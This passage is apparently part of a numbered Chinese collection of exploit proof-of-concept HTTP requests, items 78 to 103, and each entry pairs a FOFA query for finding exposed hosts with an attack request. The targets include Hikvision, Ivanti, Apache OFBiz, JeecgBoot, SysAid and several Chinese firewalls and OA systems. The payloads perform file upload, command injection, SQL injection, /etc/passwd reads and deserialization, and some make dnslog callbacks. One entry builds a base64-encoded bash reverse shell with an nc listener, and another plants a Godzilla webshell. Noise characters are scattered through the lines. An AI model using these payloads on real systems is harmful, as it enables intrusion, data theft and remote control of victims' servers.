User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
$ P. E% P5 b) c: V1 H) KConnection: close
Content-Length: 433
Accept: */*
+ a5 @$ o4 j' G1 i+ @0 e. cAccept-Encoding: gzip, deflate
! I0 c! Z. S8 h% H  _Accept-Language: zh-CN,zh;q=0.9
- e: u# c1 x) JContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
8 Q5 d; Y0 b! m: c
------------398jnjVTTlDVXHlE7yYnfwBoix
# E* C# f) B4 ^& V3 UContent-Disposition: form-data; name="folder"
" J; {4 @8 u, }  `8 `+ n. \( w* E+ C
& N1 }/ D) m  G/ [/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
; |) j; f6 f8 I3 EContent-Type: application/octet-stream

hello1234567
6 _& Y8 ]% Q! K1 k/ s# G6 z------------398jnjVTTlDVXHlE7yYnfwBoix
" S- B( e# E$ w% ]6 d4 W2 YContent-Disposition: form-data; name="Upload"
6 D' @3 `( n# P3 U  K: Y
Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--

8 f, x6 C/ J4 \/ H: @9 \
; z! n! C2 ]( M* e78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
/ ~8 k: C+ A% f/ V# _6 A& j3 pFOFA：icon_hash="2001627082"
5 `& U. f8 u7 }POST /Platform/System/FileUpload.ashx HTTP/1.1
( K2 ~' H2 Y; N! t; W* k9 f0 xHost: x.x.x.x
) r+ T/ ~: D+ S+ JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! H, k* P: Z% H2 L6 G% O3 HConnection: close
Content-Length: 336
Accept-Encoding: gzip
8 `& Z, M5 N5 S- S6 [  [Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

$ Q0 v6 y4 L6 n  C/ T------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
! T! k8 P1 f& N2 n0 aContent-Type: image/png
- }% X& @# Y8 }# _: I/ d! M
YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

7 x& P9 ?# n" _+ \4 L/Applications/SkillDevelopAndEHS/
, V6 z; w+ Y6 F" c; K------YsOxWxSvj1KyZow1PTsh98fdu6l--

- U- U- M# B3 ^9 H  e
& A% B; r1 C# [$ L2 w  sGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
6 r  f) s4 B+ Y  R3 D6 `: bHost: x.x.x.x


79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
9 ]% r" {- w4 ~% d* t& W9 F; ?& oHost:IP
# E1 j, y, u$ e6 z3 F5 @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: H' a9 B' d7 E" wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


& c) |! j8 k1 z7 j+ L# C, I+ O5 u80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
5 N: U4 j/ i1 ]! z# R- ~POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
; p. y$ ?/ @( G) I7 R: MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- k& _+ E. s# zConnection: close
: W' E! y, z5 [# A* A. X' sContent-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
4 L& c0 g. i" ?3 R
# B0 Y. Z; a$ q, f<% out.print("oessqeonylzaf");%>

. z, P5 x% r- k: t2 n
' u! {* I4 ~$ W$ v" _/ ]" Q7 bGET /xykqmfxpoas.jsp HTTP/1.1
2 i- o: E  x. B5 h+ VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 w& \) A4 R& B" r) N5 Y7 W' i- D% cConnection: close
+ u; F3 C& j9 w& G/ e+ Z& aAccept-Encoding: gzip
1 H& l5 _) c. O( w" g1 T
$ D  c& l/ R, F3 ]% ]9 B% R/ K( X
$ J) z, D& P5 z- D: E' n4 `81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
3 ~# t; ]; w( P2 d% \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
. E$ p7 t! h% Q

82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
- ]; `0 _6 V  G  t7 `FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
/ Y' m' ?; P' `" RUser-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL
: y, t! h5 V! Q  |# E  M+ i" G
z1=1&z2="|id;"&z3=bhost


( g! E1 E& _$ S7 [83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
( O$ H! X  E! \" b+ [5 }( ?
8 j" ?. H" Z, n  @$ H
: W, L# [  ~  e  _. R2 t5 ~POST /jmreport/testConnection HTTP/1.1
5 w" ^' P  }0 y: i. M2 C. P, `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. Z# B. O# v- J9 gConnection: close
Content-Length: 8881
  s- i2 X% [3 IAccept-Encoding: gzip
8 ], m1 x6 Q* W: v& |# @8 Y/ J. r, vCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

! Y) _; {6 X9 L  q7 e; c% ~PAYLOAD
; e. P( I8 e1 u7 }  }+ B5 v! V
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
0 M7 N1 \" r- y& CFOFA：title=="JeecgBoot 企业级低代码平台"
. }% {. d7 v3 n+ {& w; v5 t

# w& m, o& V0 S! I6 h- n
8 U- `: j3 j* X9 d, H; K$ }POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
7 q( \3 Y+ F' VHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
, C; [4 p7 ~2 zAccept: */*
( A& X1 R6 `, K2 oConnection: close
Content-Type: application/json
Accept-Encoding: gzip

{
" c) e: |4 c4 b8 } "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
' m8 M7 R& B7 l4 m3 z  "type": "0"
5 T. T; @# J; r' ?) s4 P8 X2 j}

/ Y  a" H6 k& A& X7 z% W
) O: S: _5 l6 k+ Z# J$ Y85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
0 P, B: V4 `/ o5 b) u0 UEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
) @( K  O& a3 l  R+ QHost: x.x.x.x
4 O, g/ Q3 F0 ]* N% RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
9 i7 L  [+ U8 ~5 m* s/ x$ [
! Z5 k; }% M& v" N4 {PAYLOAD
* g& R8 u' C5 j5 \
回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
( d4 V; y, ?  ?5 G8 WPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
1 H7 ^. m- w7 g. J- B* X0 eUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
0 t5 K+ r2 C  _' B6 U/ gContent-Length: 44
Accept: */*
% X9 b' A* v$ }* W7 y( H# lAccept-Encoding: gzip
) z! [$ _; b: O& RAccept-Language: en
Content-Type: application/x-www-form-urlencoded
6 x- \* U2 \8 C$ C0 J9 p2 v; H
; p5 R6 d& ]# shost=%0acat${IFS}/etc/passwd%0a&command=ping
; P- N8 |: \4 o0 e% k0 W2 k

87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
! {5 ]8 b$ n, F/ O' _! |Content-Length: 198
4 k3 Z. @) h& Z" NAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
, e% f9 {0 w& A
8 H6 g2 F' ]3 e* ~$ K7 s1 e
/jfhatuwe.php
- O% b2 j- h  r! X3 ~+ r; f
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
4 K* z% c# e$ U+ p. h# OFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
5 s, c4 o! {/ e' o% [% O% AHost: x.x.x.xx.x.x.x
3 I# {2 E4 K' V6 s& t0 _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! ~* a: u3 s. s9 P, U5 R5 l0 B- aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
8 k& [: J! T9 i$ H* WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 c! Y. M' _; ~6 U3 v- S  E% T4 @Connection: close
, {6 g  e  Z: y4 ]5 o

/astdfkhl.php

7 L, Y) I. p" f3 J' r7 {4 m( u89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
- z* U7 S9 Z( ~( m6 l, @( RAccept-Encoding: gzip

% t6 b9 `2 C; n4 p9 X+ yoption=2&GUID=-1'+union+select+111*222--+
( X: W/ U4 l$ l( d% r* H& d

% I# B, ]& `, e5 g9 k3 }% ]4 m90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
. X: e/ O: g2 ~- VPOST /php/ping.php HTTP/1.1
' A$ d. @. y% T' c' D0 ~Host: x.x.x.x
( K( `, r5 _) ]& A0 T% a% N6 n# SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
  C9 U* o0 F, C( o# ~! u# q5 W' lAccept: application/json, text/javascript, */*; q=0.01
& C# Z4 V; c! j$ a% ]- eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 b' t' Q; g- w! J" E0 |Connection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
. ]: U8 p$ @* {9 J$ [
7 A1 X) R/ Y) q- S. djsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
1 m: T( S+ k: t5 b: }
7 U, ~1 s4 O7 g7 ~) C) H2 D- d. C
* k0 r1 V) d# T* R, X8 r5 a91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
1 y1 S/ y/ ^6 r: C; C: vFOFA：title="综合安防管理平台"
/ C! i' R4 J/ R* W) {GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
# H% C' e* K0 e- w5 W8 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
; \2 i1 X2 L$ N& W3 eConnection: keep-alive


* S0 u1 P  P, V# Y+ V
92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
' |1 u. U1 E+ c- PPOST /center/api/session HTTP/1.1
5 X1 o  P5 L2 {. l$ X6 q' WHost:
Accept: application/json, text/plain, */*
5 ]" O# I: d6 nAccept-Encoding: gzip, deflate
3 Y6 L: ^# p9 qX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
4 P6 W6 G% f- x  n( R, OTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

3 F8 r) d# F$ b: z- m* ^: v% CPAYLOAD
# d2 Y9 |4 Q7 ~& \/ O, T3 O/ k( j

7 r* Y* T6 y& s" ^- p1 B+ r93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
% G+ q6 W6 ^4 C3 GHost: x.x.x.x
3 O: j+ K) }1 y4 j3 `6 @Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 f$ u; z4 p* l/ m! f; ~
+ ]! P& \* `/ ]1 m. g4 V2 ]  Q------WebKitFormBoundarykcbkgdfx
8 S4 n" E  X( K2 kContent-Disposition: form-data; name="MAX_FILE_SIZE"
) M" L6 t4 k2 }1 }" ?7 {, C
10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
8 g4 O1 J9 u+ o6 t
wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
/ H) A3 S- S6 R4 f* O6 bContent-Disposition: form-data; name="submit_post"

obj_app_upfile
' Y- M# a5 g9 n6 o$ r- p------WebKitFormBoundarykcbkgdfx
: @" x  _" @- T9 q8 B0 k' O( AContent-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
8 {! ?9 j; i3 n; q' q

GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
" r2 N; u: v0 @, C3 z; ?User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
  ?. ^$ T* w: c$ l. W, q7 {
; [$ N/ k9 x2 V8 f3 y3 T7 ?
/ Y. `, ]. v/ F# t5 i2 ~94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
! |- [& _8 @3 X" @; Q' ?* B* H5 FFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
; q6 f5 Y7 Y6 F/ c1 O' dHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
% H1 `0 i" z/ V/ R( D8 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
, v6 E+ g/ B' }
+ h) ]0 c, @) r2 z/ M------WebKitFormBoundarybqvzqvmt
3 I' q0 A4 j8 V+ ^Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
! s4 X. e4 }; i4 f" e------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
. `! Z  m2 t% y" ]------WebKitFormBoundarybqvzqvmt
  Z2 J' C: t7 n0 k: b# A% vContent-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarybqvzqvmt
6 O( _- p; c2 x8 qContent-Disposition: form-data; name="__hash__"
4 N/ F* w* _9 i- ?
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
# ^* \& |& W3 ?1 n! a# f


GET /attachements/xlskxknxa.txt HTTP/1.1
7 g# S! k, Q3 |+ kHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

- U$ f+ l7 H6 f. `' o* E" Z/ I) J
, W- r6 d7 _3 V
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
; o  H/ ^* b! h% B, cHost: x.x.x.x
! ]4 x: K( k! k& D: v! N& BUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
8 M3 R  u) x% s0 _- i; AContent-Length: 889
1 r0 U8 f8 f3 i+ R) V8 }( ~- O. NContent-Type: application/xml
* ]) W1 |# _5 g$ s& fAccept-Encoding: gzip
6 G  Y- f/ W7 H0 r! G
+ P/ ?( N2 F, b<?xml version="1.0"?>
3 g9 Y. g1 m# B1 c6 Q+ U% ]<methodCall>
/ Q0 o# _* {+ e# k   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
9 J$ _; j) P* U. a8 D      <param>
      <value>
        <struct>
# |, h  ?1 I% U; p4 J6 I       <member>
          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
- p8 Y6 S; s( V* q5 i3 P        </member>
# J. S) {# H  \- o2 _, y1 z      </struct>
; M3 X, T1 d& _. L  _      </value>
    </param>
    </params>
/ R3 z+ T: Y. ~5 g( t1 k6 Q</methodCall>
% v4 x& l3 S4 A/ K, E) B
9 J% ], A& H% M, P
用ysoserial生成payload
5 X( X- g9 _" ^# _: I( Zjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
4 l1 o, q& a( E2 h9 x2 X

将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
& b& F( V2 ^! y7 e* }* g8 t& ~& ~Host: 192.168.40.130:8443
6 X! k. `  ?: Z( c' c1 B% b- fUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
7 U& v# Y8 S, L* \) E' \; J# ^1 |1 qConnection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

PAYLOAD
  F# Y1 v' P+ k+ X
96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
0 I8 b  Z3 H* Q2 zHost: localhost:8443
: g) A/ Q' X" I$ mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
4 H' q) T9 n3 K( ~% B( EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; l7 }; c9 o. c5 eContent-Type: application/x-www-form-urlencoded
Content-Length: 55
+ w" u3 c9 H' Y
groovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
6 o" U, G# a, [/ S在kali上启动一个监听
! g! T% @6 J& {5 Cnc -lvp 7777
3 }$ @2 h8 v/ G9 T* k4 e" r
7 K- K& p3 C! t7 g  p  e  NPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
( @% ?8 y' a; ^3 U3 t4 ^2 O' THost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
. v& {  T; e9 ?' c: C9 U$ PAccept: */*
% i( o0 x4 U* X7 EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
7 D% |9 P1 c! J: yContent-Length: 71
) c& i! ^1 Y7 n" r) x' D  p. P
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

, P4 y) `! e" ?# n% E" \; i# P. ^97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
% W( y+ @5 V4 b( Q0 oGET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
: `- Y; m" `* u& M" G& Z4 w  XConnection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
: J& K  C# _: t$ M

" V1 T+ y# L" o3 p, g. ~98. SpiderFlow爬虫平台远程命令执行
8 k& ]0 [$ E- TCVE-2024-0195
FOFA：app="SpiderFlow"
2 D3 Z  q' r" Z0 O3 t3 W' q3 @! wPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
  }% t0 u" r2 |0 q1 R, S% @& |Connection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
9 f* Y# C3 P: o5 d% NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
* a3 I" b- M% h' i4 O) ~! q0 z: O- \X-Requested-With: XMLHttpRequest
; }& P5 e1 [# ]6 F, o3 W4 z1 p" Z! m% x
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
$ v% M4 w& M, D0 b- S$ ~" j+ t! l9 r
# W, ~& S0 k3 ?$ A, F0 W' h- I! @: }9 H
99. Ncast盈可视高清智能录播系统busiFacade RCE
4 x7 T- {7 I, `, p- j2 JCVE-2024-0305
6 L- |' _1 z" A' r' b/ M% f8 ^FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
  |. H1 V' z! T( dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
0 \# A1 U; w# r" }7 Z/ tX-Requested-With: XMLHttpRequest
7 ]4 H4 w) V5 g2 a
* d# ]2 Z( A' o%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
" S: K! a7 X* T5 f  b3 c
8 v3 q" z) X/ P. _
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
* Q( |. y2 W, }6 z, vFOFA：icon_hash="874152924"
; H- R5 |! q" z+ pPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
' X. J: `/ P) q9 S9 b, Q! ]+ w0 y5 iUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
" M* |- }$ C0 h  P) H9 DConnection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

------WebKitFormBoundarygcflwtei
9 ~1 p, q6 e- `6 J7 u* fContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
4 P0 h/ J/ W/ `4 z) w% u
# f7 ^  H! p2 R8 J, ]2ayyhRXiAsKXL8olvF5s4qqyI2O
8 z. U! a6 S& L------WebKitFormBoundarygcflwtei--
  z3 F# A% i& p
' ?1 ]3 a/ C" v& R: D
101. ivanti policy secure-22.6命令注入
CVE-2024-21887
+ q: @; u3 q: l  @; M+ UFOFA：body="welcome.cgi?p=logo"
  b8 K' T3 u6 z# T% nGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
9 n9 _( j- g6 U$ j8 \$ a! u3 tHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
7 d! w2 x0 \$ A% _3 uConnection: close
Accept-Encoding: gzip

9 ~, H! t# l4 @! g
8 Y+ S$ D# ?% E6 {5 i1 K* n# g102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
' O1 g' A0 R8 p" _& ^CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
, y) w4 V/ o/ |( s4 i* E; PPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
# I$ i" e$ V6 S! Q% P) qContent-Length: 792
Accept-Encoding: gzip

3 u4 t7 S; U" e! h  i. W<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
2 T! C6 D7 p6 }CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
6 U$ G/ }* c' }: JPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
